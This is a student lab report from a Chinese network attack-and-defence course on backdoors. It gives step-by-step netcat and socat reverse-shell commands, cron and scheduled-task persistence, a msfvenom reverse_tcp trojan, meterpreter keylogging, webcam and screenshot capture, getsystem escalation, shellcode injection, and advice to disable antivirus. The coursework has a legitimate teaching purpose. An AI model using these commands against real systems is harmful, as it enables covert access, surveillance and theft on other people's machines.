20222320 2024-2025-1 《网络与系统攻防技术》实验2实验报告
目录
0.认识工具
(1)netcat
Netcat(也称为Ncat或nc)是一款功能强大的网络工具,被誉为“网络界的瑞士军刀”。它可以用于网络上的数据读写、重定向、端口扫描、安全审计等多种用途:
ncat -l port_number
---监听入站连接
ncat IP_address port_number
---连接远程系统
ncat -l -u port_number
---连接UDP端口
ncat -l local_port | ncat remote_IP remote_port
---作为代理
ncat -l port_number > file.txt
---在接收数据的机器上拷贝文件
ncat remote_IP port_number --send-only < data.txt
---在发送数据的机器上拷贝文件
ncat -l port_number -e /bin/bash
---创建后门
ncat -u -l local_port -c 'ncat -u -l remote_port'
---端口转发
ncat -w timeout_seconds IP_address port_number
---设置连接超时
ncat -l -k port_number
---强制待命
(2)socat
Socat(Socket CAT)是一款强大的命令行工具,用于在两个数据流之间建立连接。它的设计灵感来自于UNIX中的cat命令。Socat被广泛用于网络编程和系统管理中,能够处理各种不同类型的数据流,包括TCP、UDP、文件、终端、串口等。它可以实现端口转发、代理、文件传输等多种功能,我个人使用起来觉得比ncat复杂但功能更多
socat [options] <address> <address>
---基本语法
socat - TCP:IP_address:port_number
---连接远程端口
socat TCP-LISTEN:port_number -
---监听一个新端口
socat -d -d -lf /var/log/socat.log TCP4-LISTEN:local_port,bind=local_IP,reuseaddr,fork TCP4:remote_IP:remote_port
---端口转发(TCP)
socat -d -d -lf /var/log/socat.log UDP4-LISTEN:local_port,bind=local_IP,reuseaddr,fork UDP4:remote_IP:remote_port
---端口转发(UDP)
socat -u open:file_path tcp-listen:port_number,reuseaddr
---文件传送(发送)
socat -u tcp:remote_IP:port_number open:file_path,create
---文件传送(接收)
socat open:read_file_path\\!\\!open:write_file_path,create,append tcp-listen:port_number,reuseaddr,fork
---读写分流
(3)MSF
Metasploit Framework (MSF) 是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。
msfconsole
---进入MSF框架
search ms17_010
---查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue
---使用漏洞利用模块
set RHOSTS target_ip
---设置目标IP地址
set PAYLOAD windows/x64/meterpreter/reverse_tcp
---设置攻击载荷
set LHOST local_ip
---设置本地IP地址
exploit
---执行漏洞利用
sessions -i session_id
---与会话交互
background
---将会话置于后台
sessions -k session_id
---关闭会话
1.实验目标
-
使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
-
使用socat获取主机操作Shell, 任务计划启动
-
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验要求
-
掌握后门原理及免杀技术
-
回答下列问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:在xx下载园下载到含有后门的盗版软件,并运行(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:win:写入触发器或系统任务列表,写入注册表
linux:写入cron里定时启动运行(3)Meterpreter有哪些给你映像深刻的功能?
答:直接就可以生成对应操作系统的shellcode,并且通过这个程序能轻易控制设备,进行录像截屏,获取键盘动作(4)如何发现自己有系统有没有被安装后门?
答:下载杀毒软件扫描电脑,或者看看有没有可疑进程;检查系统日志
3.实验过程
(1)使用netcat获取主机操作Shell,cron启动某项任务
先查看本机和kali机ip,便于接下来操作。
kali的ip:
windows的ip:
1.kali反弹shell到win
下载ncat.zip到windows主机,解压,cmd管理员模式进入该目录
win:ncat -lp [端口号] ---简略
ncat -lvnp [端口号] ---详细
kali:nc [win主机IP] [同上端口号] -e /bin/sh
此时,如果一切顺利,就会发现win端可以运行kali端的shell了,如下图:
2.linux中cron定时启动任务
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个进程,可以在这里给kali添加一个定期任务
crontab -e
第一次打开,选择2;然后按i进入编辑模式,添加任务,弹出shell给win主机的指令:
* * * * * /bin/netcat [win主机IP] [win主机开放的端口号] -e /bin/sh ---(* * * * *表示每一分钟执行)
接着就可以在win开启监听了,然后唤起cron服务(顺序很重要!!!,不能乱)
win:ncat.exe -lvnp [端口号]
kali:service cron start
过一会儿,监听就会发现成功连接上了kali的shell
(2)使用socat获取主机操作Shell, 任务计划启动
下载socat到win主机上,解压,记住路径;
在win的任务计划程序上创建新定时任务(路径:控制面板 > windows工具 > 任务计划程序)
创建新任务:
常规 > 名称,填写自定义的任务名称;
触发器 > 新建,选择任务的触发事件;
操作 > 新建 > 程序或脚本:socat.exe所在的路径;
添加参数:tcp-listen:[监听端口] exec:cmd,pty,stderr
创建好后如图所示:
通过这个任务,在kali上获取win的shell;
kali中输入
socat - tcp:[win主机IP]:[端口号]
运行socat进行监听,当任务运行时,kali这里监听到就会出现win的shell:
编码问题导致乱码,总体还是运行成功的
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令先生成exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[监听端IP] LPORT=[端口号] -f exe >文件路径/文件名
再利用ncat后门将exe传到win主机上:
win:ncat.exe -lvnp [端口号] > [后门程序名称]
kali:nc [win主机IP] [端口号] < [后门程序名称]
传输结果如图:
这时在ncat下面就可以找到相应exe文件了
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
这里可以直接使用步骤3的exe来进行,首先要配置kali端
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse-tcp
set LHOST [kali主机IP]
set LPORT [端口号]
show options ---查看所有选项
exploit
运行,进入监听状态:
接着处理win端,直接运行这个木马就会如下,直接被杀:
这时选择恢复就行,也可以直接关闭病毒防护:
双击打开,木马就会成功运行,运行时不是以应用原本名称的,而是会在进程中换一个名字来提高隐蔽性;同时,kali端将会收到一个tcp连接来自木马:
如图,这里能看到已经成功调出了win的shell了。就可以利用这个木马来获取相应权限
webcam_snap ---摄像头拍照
webcam_stream ---摄像头录像
screenshot ---截屏
keyscan_start ---开始抓取键盘
keyscan_dump ---停止抓取键盘
效果如图:
有截屏,键盘记录,录音;摄像头权限我没开就不会抓取到
接着准备进行提权,首先试一下getsystem看能不能行
直接就成功了!不可思议
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
先用框架生成shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=[kali主机IP] LPORT=[端口号] -f c > shellcode
这时没有文件,只有一大段shellcode,用上次实验的shell代码当作攻击对象。这时就要构造输入了。这里不赘述:
检查了一下输入是否正确,看起来没问题,就注入吧
kali那里构造payload,准备监听就行
注意这里的payload要改变为linux/x86/shell_reverse_tcp,不要搞成win的了
4.问题及解决方案
-
问题1:kali加载到2320端口,但被拒绝连接:
-
问题1解决方案:顺序很重要!一定要先win开启监听kali才能传出去shell,不然就会直接报错显示拒绝连接!!
-
问题2:msf连接win时出问题:
显示出一个会话关一个会话 -
问题2解决方案:检查载荷是否正确拼写,这里我将_不小心打做-,这样构造载荷时当然有问题,会像这样报错
这时就需要停下检查了
5.学习感悟、思考等
这次试验任务量不小,而且还没学到这里来;所以一切对我来说都是要现学的。先在网上查找工具相关资料,熟悉怎么使用它们。这次我接触到了msf这个相当有用的框架,基本帮我们把好多事都干完了,直接敲点指令就行;但很多又是初次接触,所以不是很敢用怕用错出bug找半天,还是参考了一下往届使用的哪些命令来做的。这次试验基础不牢,感觉做的很勉强,到时候上课上到这里来还要重点再听一下,免得知其然不知其所以然。